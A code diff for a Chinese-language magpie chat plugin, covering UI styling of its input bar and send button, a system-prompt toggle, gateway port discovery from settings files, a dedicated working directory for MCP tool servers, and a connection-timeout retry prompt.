00-.628.64c0 .355.279.64.628.64a.631.631 0 00.628-.64c0-.355-.28-.64-.628-.64zm10.38.018a.631.631 0 00-.628.64c0 .355.28.64.628.64a.631.631 0 00.628-.64c0-.355-.279-.64-.628-.64zm5.182-9.148a.631.631 0 00-.628.64c0 .354.279.639.628.639a.631.631 0 00.628-.64c0-.355-.28-.64-.628-.64zm-.384-4.992a.24.24 0 00.244-.249.24.24 0 00-.244-.249.24.24 0 00-.244.249c0 .142.122.249.244.249zM11.991.497a.24.24 0 00.245-.248A.24.24 0 0011.99 0a.24.24 0 00-.244.249c0 .133.108.236.223.247l.021.001zM2.011 6.36a.24.24 0 00.245-.249.24.24 0 00-.244-.249.24.24 0 00-.244.249.24.24 0 00.244.249zm0 11.263a.24.24 0 00-.243.248.24.24 0 00.244.249.24.24 0 00.244-.249.252.252 0 00-.244-.248zm19.995-.018a.24.24 0 00-.245.248.24.24 0 00.245.25.24.24 0 00.244-.25.252.252 0 00-.244-.248z" fill="#3859FF" fill-rule="nonzero"></path></svg>

After

Width:  |  Height:  |  Size: 3.5 KiB

+8 -2
View File
@@ -55,7 +55,7 @@
<span class="spacer"></span>
<button class="pill" id="modelBtn" type="button" aria-haspopup="true" aria-expanded="false" title="选择模型">
<span class="pill-k">模型</span>
<span class="pill-ico" id="modelIco" hidden></span>
<span class="pill-v" id="modelValue">载入中…</span>
<span class="chev"><svg viewBox="0 0 16 16" width="10" height="10" aria-hidden="true"><path d="M4.2 6.4L8 9.8l3.8-3.4" fill="none" stroke="currentColor" stroke-width="1.4" stroke-linecap="round" stroke-linejoin="round"/></svg></span>
</button>
@@ -67,7 +67,9 @@
</button>
<button class="send" id="send" type="button" disabled aria-label="发送">
<span class="send-label">发送</span>
<span class="send-label" aria-hidden="true">
<svg viewBox="0 0 16 16" width="15" height="15"><path d="M8 13V3.4M8 3.4L3.8 7.6M8 3.4l4.2 4.2" fill="none" stroke="currentColor" stroke-width="1.7" stroke-linecap="round" stroke-linejoin="round"/></svg>
</span>
<span class="send-stop" aria-hidden="true">&#9632;</span>
</button>
</div>
@@ -89,6 +91,10 @@
<div class="set-sec">
<div class="set-title">系统提示词</div>
<textarea id="systemInput" class="ta" rows="3" placeholder="拼在指令和技能之前,可留空" aria-label="系统提示词"></textarea>
<div class="set-row">
<span class="set-label">使用系统提示词</span>
<button class="switch" id="systemEnabled" type="button" role="switch" aria-checked="true" aria-label="使用系统提示词"><span class="switch-thumb"></span></button>
</div>
</div>
<div class="set-sec">
+79 -25
View File
@@ -352,8 +352,9 @@ input, textarea { font: inherit; color: inherit; }
align-items: center;
gap: 5px;
height: 24px;
padding: 0 10px;
border-radius: 6px;
padding: 0 11px;
/* 长条胶囊:全圆角 */
border-radius: 999px;
background: var(--pill);
color: var(--ctl-fg);
font-size: 12.5px;
@@ -365,7 +366,8 @@ input, textarea { font: inherit; color: inherit; }
.pill:disabled { opacity: .5; }
.pill:disabled:hover { background: var(--pill); color: var(--ctl-fg); }
.pill.on { color: var(--fg); }
.pill.icon { padding: 0; width: 24px; justify-content: center; }
/* 左边的 + 按钮:正圆 */
.pill.icon { padding: 0; width: 24px; border-radius: 50%; justify-content: center; }
.pill.icon.set { color: var(--fg); }
.pill.icon.set::after {
content: "";
@@ -378,6 +380,20 @@ input, textarea { font: inherit; color: inherit; }
background: var(--accent);
}
/* 输入框左边模型按钮里的品牌图标 */
.pill-ico {
display: inline-flex;
align-items: center;
justify-content: center;
flex: none;
width: 14px;
height: 14px;
color: var(--faint);
}
.pill-ico[hidden] { display: none; }
.pill-ico .model-logo { width: 14px; height: 14px; opacity: .75; }
.pill:hover .pill-ico, .pill.on .pill-ico { color: var(--muted); }
.pill-k { color: var(--faint); font-size: 11.5px; flex: none; }
.pill.on .pill-k, .pill:hover .pill-k { color: var(--muted); }
.pill-v {
@@ -427,6 +443,24 @@ input, textarea { font: inherit; color: inherit; }
to { opacity: 1; transform: none; }
}
/* 模型品牌图标:单色 SVG 用 mask 上色,颜色跟着文字走。
宽高按场合微调:消息头 13px、下拉项 15px。 */
.model-logo {
flex: none;
width: 15px;
height: 15px;
background-color: currentColor;
opacity: .72;
-webkit-mask-repeat: no-repeat;
mask-repeat: no-repeat;
-webkit-mask-position: center;
mask-position: center;
-webkit-mask-size: contain;
mask-size: contain;
}
.turn-label .model-logo { width: 13px; height: 13px; opacity: .7; }
.pop-item .model-logo { margin-right: -2px; }
.pop-item {
display: flex;
align-items: center;
@@ -683,6 +717,33 @@ input, textarea { font: inherit; color: inherit; }
padding: 12px 0 14px;
}
/* 模型输出里的图片:max-width 撑满、max-height 限高,点开看大图 */
.md-img {
display: block;
max-width: 100%;
max-height: 460px;
margin: 8px 0;
border-radius: 8px;
background: var(--pill);
cursor: zoom-in;
object-fit: contain;
}
.md-img-link {
display: inline-block;
margin: 4px 0;
font-size: 12px;
color: var(--accent);
word-break: break-all;
}
.md-img-fail {
display: inline-flex;
flex-wrap: wrap;
gap: 4px;
font-size: 12px;
color: var(--muted);
}
.md-img-fail a { color: var(--accent); word-break: break-all; }
/* 流式渲染的两段结构:已写完的块(.md-stable)+ 正在写的尾巴(.md-tail)。
尾巴是纯文本,保留换行;两者拼接处不留多余空档。 */
.turn-body.md .md-stable > :last-child { margin-bottom: 0; }
@@ -949,23 +1010,6 @@ input, textarea { font: inherit; color: inherit; }
}
.empty-state b { display: block; color: var(--fg); font-weight: 500; font-size: 14px; margin-bottom: 4px; }
.empty-state p { margin: 0; font-size: 12px; }
.empty-sugs { display: flex; flex-wrap: wrap; gap: 6px; justify-content: center; margin-top: 12px; }
.sug {
height: 24px;
padding: 0 10px;
border-radius: 6px;
background: var(--pill);
color: var(--ctl-fg);
font-size: 12px;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.sug:hover { background: var(--pill-hover); color: var(--fg); }
/* ---------- 输入区(仿 magpie .field) ---------- */
/* 输入区占消息区宽度的 70%,跟着窗口缩放;窄窗口时才让它铺满 */
/* 输入区宽度也单独可调(--composer-w),默认 70% */
@@ -994,9 +1038,11 @@ input, textarea { font: inherit; color: inherit; }
display: flex;
flex-direction: column;
gap: 4px;
padding: 10px 12px;
/* 上下各加 5px:整条输入框比原来高 10px */
padding: 15px 12px;
border: 1px solid var(--line);
border-radius: 12px;
/* 圆角比原来大一圈,更接近胶囊感 */
border-radius: 20px;
background: var(--card);
}
@@ -1017,7 +1063,11 @@ input, textarea { font: inherit; color: inherit; }
#input::placeholder { color: var(--faint); }
.field-foot { display: flex; align-items: center; gap: 6px; min-height: 24px; }
/* 底部控件整行往下 4px;左边 + 再往左 4px,右边三件往右 4px。
用 relative 而不是 margin:只挪视觉位置,不把输入框撑高。 */
.field-foot { display: flex; align-items: center; gap: 6px; min-height: 24px; position: relative; top: 4px; }
#attachBtn { margin-left: -4px; }
#send { margin-right: -4px; }
/* 模型、思考、发送都贴在右下角,设置在最左 */
@@ -1026,15 +1076,19 @@ input, textarea { font: inherit; color: inherit; }
align-items: center;
justify-content: center;
flex: none;
width: 24px;
height: 24px;
padding: 0 12px;
border-radius: 6px;
padding: 0;
/* 圆形按钮,里面是向上的箭头 */
border-radius: 50%;
background: var(--accent);
color: var(--accent-fg);
font-size: 12.5px;
font-weight: 500;
}
.send-label { display: inline-flex; align-items: center; justify-content: center; }
.send:hover:not(:disabled) { filter: brightness(1.06); }
.send:disabled { opacity: .5; }
.send-stop { display: none; font-size: 10px; }
+48 -3
View File
@@ -1,13 +1,52 @@
// 和 magpie 自己的网关说话:列模型、发 chat completions(流式),带工具循环。
// 网关是 OpenAI 兼容的,所以这里就是标准的 chat completions 客户端。
import { readFileSync } from "node:fs";
import { existsSync, readFileSync } from "node:fs";
import { homedir } from "node:os";
import { join } from "node:path";
import { dirname, join } from "node:path";
import { fileURLToPath } from "node:url";
const DEFAULT_GATEWAY = "http://127.0.0.1:3425";
// 候选地址:显式指定的 → 本次 magpie 的 MAGPIE_ADDR → magpie 的老端口
// 从 magpie 自己的配置里读出实际网关端口。
//
// 便携版的端口不一定是 3425:<magpie>/data/settings.json 里有个 "port"(比如 18086)。
// 手工跑 serve.mjs 兜底时既没有 options.gateway 也没有 MAGPIE_ADDR,以前会直接
// 落到写死的 3425,结果模型列表永远是空的、发消息全部失败,页面上还看不出原因。
function configuredGateways() {
const out = [];
const readPort = (file) => {
try {
const j = JSON.parse(readFileSync(file, "utf8"));
const p = Number(j && (j.port ?? j.gatewayPort ?? j.listen));
if (Number.isFinite(p) && p > 0 && p < 65536) out.push("http://127.0.0.1:" + p);
} catch { /* 没有这个文件,或者不是合法 JSON,跳过 */ }
};
// 1) 明确指定了配置目录
if (process.env.MAGPIE_CONFIG_DIR) readPort(join(process.env.MAGPIE_CONFIG_DIR, "settings.json"));
// 1.5) XDG_CONFIG_HOME(和 lib/library.mjs 的 configDir 保持一致,测试也靠它隔离)
if (process.env.XDG_CONFIG_HOME) readPort(join(process.env.XDG_CONFIG_HOME, "magpie", "settings.json"));
// 2) 便携版:插件装在 <magpie>/data/plugins/... 里,往上找 data/settings.json
try {
let dir = dirname(fileURLToPath(import.meta.url));
for (let i = 0; i < 10; i++) {
const cand = join(dir, "data", "settings.json");
if (existsSync(cand)) { readPort(cand); break; }
const up = dirname(dir);
if (up === dir) break;
dir = up;
}
} catch { /* 定位不到就算了 */ }
// 3) 普通安装:~/.config/magpie/settings.json
readPort(join(homedir(), ".config", "magpie", "settings.json"));
return out;
}
// 候选地址:显式指定的 → 本次 magpie 的 MAGPIE_ADDR → 配置里的实际端口 → magpie 的老端口
function candidates(opts = {}) {
const out = [];
const push = (u) => {
@@ -19,10 +58,16 @@ function candidates(opts = {}) {
push(opts.gateway || process.env.MAGPIE_CHAT_GATEWAY);
const addr = process.env.MAGPIE_ADDR;
if (addr && /^[\w.-]+:\d+$/.test(addr)) push("http://" + addr);
for (const u of configuredGateways()) push(u);
push(DEFAULT_GATEWAY);
return out;
}
// 给测试看候选列表用;运行时不直接用
export function gatewayCandidates(opts = {}) {
return candidates(opts);
}
// 第一个真的答得上 /v1/models 的地址;都没答上就用默认的,让错误原样露出来
let picked = { at: 0, url: "" };
export async function resolveGateway(opts = {}) {
+2 -1
View File
@@ -104,7 +104,8 @@ export async function libraryView(dir = configDir()) {
// 组装 system prompt:用户自己写的 + 勾选的指令 + 勾选的技能
export async function composeSystem(settings, dir = configDir()) {
const parts = [];
const mine = String(settings.system || "").trim();
// 开关关掉时,用户手写的那段不进去(勾选的指令和技能照旧生效)
const mine = settings.systemEnabled === false ? "" : String(settings.system || "").trim();
if (mine) parts.push(mine);
const [instructions, skills] = await Promise.all([readInstructions(dir), readSkills(dir)]);
for (const id of settings.instructions || []) {
+19 -2
View File
@@ -1,6 +1,6 @@
// magpie MCP 客户端:Streamable HTTP + stdio。只依赖 Node/Bun 内置模块与全局 fetch。
// 契约见 CONTRACT.md「lib/mcp.mjs 必需导出」。
import { readFileSync } from "node:fs";
import { mkdirSync, readFileSync } from "node:fs";
import { spawn } from "node:child_process";
import { homedir } from "node:os";
import path from "node:path";
@@ -21,6 +21,20 @@ function configDir() {
return xdg ? path.join(xdg, "magpie") : path.join(homedir(), ".config", "magpie");
}
// stdio MCP 服务器的工作目录。
//
// 以前 spawn 不传 cwd,服务器就继承 chat 服务的当前目录:
// - 在 magpie 插件宿主里 = ~/.config/magpie(和 settings.json、providers.json 并排,
// 模型让工具存个 providers.json 就把 magpie 自己的配置覆盖了);
// - 手工 node serve.mjs = 插件安装目录(更新时会被替换),或执行命令时所在的目录(常常是 ~)。
// 用户也会在 home 里看到 page_xxx.html、magpie_readme.md 这种莫名其妙冒出来的文件。
// 现在统一给一个插件自己的工作区,并把 PWD 指过去,工具用相对路径写的东西都落在这里。
export function workspaceDir() {
const dir = path.join(configDir(), "magpie-chat", "workspace");
try { mkdirSync(dir, { recursive: true }); } catch { /* 建不了就让 spawn 自己报错 */ }
return dir;
}
export function loadServers() {
const file =
process.env.MAGPIE_LIBRARY || path.join(configDir(), "library.json");
@@ -307,10 +321,13 @@ function ensureStdio(target) {
if (existing) return existing;
const session = { proc: null, buf: "", err: "", pending: new Map(), seq: 0, closed: false };
session.ready = (async () => {
// 固定一个工作区:工具用相对路径写的文件不会落到 magpie 配置目录或 home 里
const cwd = workspaceDir();
const proc = spawn(target.command, target.args, {
cwd,
stdio: ["pipe", "pipe", "pipe"],
windowsHide: true,
env: target.env ? { ...process.env, ...target.env } : process.env,
env: { ...(target.env ? { ...process.env, ...target.env } : process.env), PWD: cwd },
});
session.proc = proc;
proc.stdin.on("error", () => {});
+13 -16
View File
@@ -9,7 +9,7 @@ import { join, extname, normalize } from "node:path";
import { fileURLToPath } from "node:url";
import { composeSystem, configDir, groupIcons, libraryView, providerIcons, readJson, readMcp, readProviderIcon } from "./library.mjs";
import { chatCompletions, gatewayURL, listModels, resolveGateway, sseChunks } from "./gateway.mjs";
import { callTool, closeAll, listTools } from "./mcp.mjs";
import { callTool, closeAll, listTools, workspaceDir } from "./mcp.mjs";
const here = fileURLToPath(new URL(".", import.meta.url));
const UI_ROOT = join(here, "..", "chat");
@@ -286,7 +286,9 @@ function sse(res, type, data) {
// 工具清单写在 system 里会和 function 定义重复一遍,所以只给一句交代。
function toolsHint(tools) {
if (!tools.length) return "";
return `# 工具\n\n你可以调用用户配置的 MCP 工具(共 ${tools.length} 个)。需要时直接调用,不要臆造结果;用不上就直接回答。`;
// 只说"有工作区"就够了:绝对路径会把本机用户名带进 system prompt,
// 而这段文字是发给模型供应商的。服务端的 cwd 已经保证相对路径落在那里。
return "# 工具\n\n你可以调用用户配置的 MCP 工具(共 " + tools.length + " 个)。需要时直接调用,不要臆造结果;用不上就直接回答。\n\n工具用相对路径读写文件时,落在对话页自己的工作目录里。"
}
// 工具的 schema 是提示词里最大的一块:GitHub 那 46 个工具光描述和参数就有上千万字符。
@@ -341,7 +343,7 @@ function toGatewayContent(m) {
}
// 一轮对话:可多次工具调用;把每条增量转成 SSE 发回浏览器
async function runChat({ res, body, settings, store }, controllers) {
async function runChat({ res, body, settings, store, options }, controllers) {
const clientId = String(body.clientId || "");
const abort = new AbortController();
if (clientId) controllers.set(clientId, abort);
@@ -434,7 +436,7 @@ async function runChat({ res, body, settings, store }, controllers) {
}
}
sse(res, "start", { model, tools: tools.map((t) => t.name), gateway: await resolveGateway().catch(() => gatewayURL()) });
sse(res, "start", { model, tools: tools.map((t) => t.name), gateway: await resolveGateway(options).catch(() => gatewayURL(options)) });
let usageTotal = { prompt_tokens: 0, completion_tokens: 0, total_tokens: 0 };
try {
@@ -577,7 +579,9 @@ export async function startServer({ configDir: dirArg, options = {} } = {}) {
const settings = await store.settings();
let list = [];
let gatewayError = "";
await resolveGateway(options).catch(() => "");
// 把实际探测成功的网关地址报给页面
let gateway = "";
try { gateway = await resolveGateway(options); } catch { gateway = gatewayURL(options); }
try { list = await models(options); } catch (err) { gatewayError = String(err?.message || err); }
// 模型图标:magpie 的 providers.json 里有各供应商的 logo,能对上就带上
try {
@@ -597,7 +601,7 @@ export async function startServer({ configDir: dirArg, options = {} } = {}) {
return send(res, 200, {
port,
version: VERSION,
gateway: gatewayURL(options),
gateway,
settings,
models: list,
library: await libraryView(dir),
@@ -715,7 +719,7 @@ export async function startServer({ configDir: dirArg, options = {} } = {}) {
const body = await readBody(req);
const settings = await store.settings();
sseHead(res);
await runChat({ res, body, settings, store }, controllers);
await runChat({ res, body, settings, store, options }, controllers);
return;
}
if (path === "/api/chat/stop" && req.method === "POST") {
@@ -788,15 +792,8 @@ export async function startServer({ configDir: dirArg, options = {} } = {}) {
OWN = new Set([`http://127.0.0.1:${actualPort}`, `http://localhost:${actualPort}`]);
HOSTS = new Set([`127.0.0.1:${actualPort}`, `localhost:${actualPort}`]);
// 把实际端口写到配置目录,带路页(page/boot.js)会来读 ——
// 端口可能是换过的,页面不能假设永远是 3477。
try {
// dir 可能是空字符串(没传 configDir),交给 dataDir 落到默认配置目录
const cfgRoot = dataDir(dir);
writeFileSync(join(cfgRoot, "port.json"), JSON.stringify({ port: actualPort, at: Date.now() }));
} catch (err) {
console.warn("[page-chat] 端口文件写失败:", err?.message || err);
}
// 这里以前会写 port.json 想让带路页读实际端口,但页面 CSP 是 connect-src none,读不到。
return { port: actualPort, server, store, close: async () => { await closeAll(); server.close(); } };
}
+1 -1
View File
@@ -1,6 +1,6 @@
{
"name": "@magpie-community/page-chat",
"version": "0.1.3",
"version": "0.1.4",
"description": "在 magpie 窗口里加一个「对话」页面:用 magpie 自己的模型、MCP 服务器、指令和技能聊天,支持图片与 LaTeX。A chat page inside magpie's window: talk with magpie's own models, MCP servers, instructions and skills, with images and LaTeX.",
"author": "Magic_zero (https://github.com/Magiczerowxy)",
"files": [
+20
View File
@@ -62,8 +62,27 @@
}
}
// WebKit 在目标不可达时不会报错:location.replace 失败了也当没事,
// 页面就永远停在「正在连接到本地对话服务…」。5 秒后如果这份文档还活着,
// 说明跳转根本没走成,换成能操作的提示。
function armTimeout(p) {
setTimeout(function () {
var said = document.getElementById("said");
if (!said) return;
said.textContent = "本地对话服务没有在运行(127.0.0.1:" + p + ")";
if (document.getElementById("boot-retry")) return;
var btn = document.createElement("button");
btn.id = "boot-retry";
btn.type = "button";
btn.textContent = "重试";
btn.style.cssText = "margin-left:10px;padding:2px 12px;font:inherit;cursor:pointer;";
btn.addEventListener("click", function () { location.reload(); });
said.parentNode.appendChild(btn);
}, 5000);
}
// magpie 给了 service 就走它:这是 magpie web 在自己地址上的转发,远程也能用。
if (service) {
armTimeout(port);
location.replace(service + "?" + q.toString());
return;
}
@@ -78,6 +97,7 @@
showRemote(port, target);
return;
}
armTimeout(port);
location.replace(target);
})();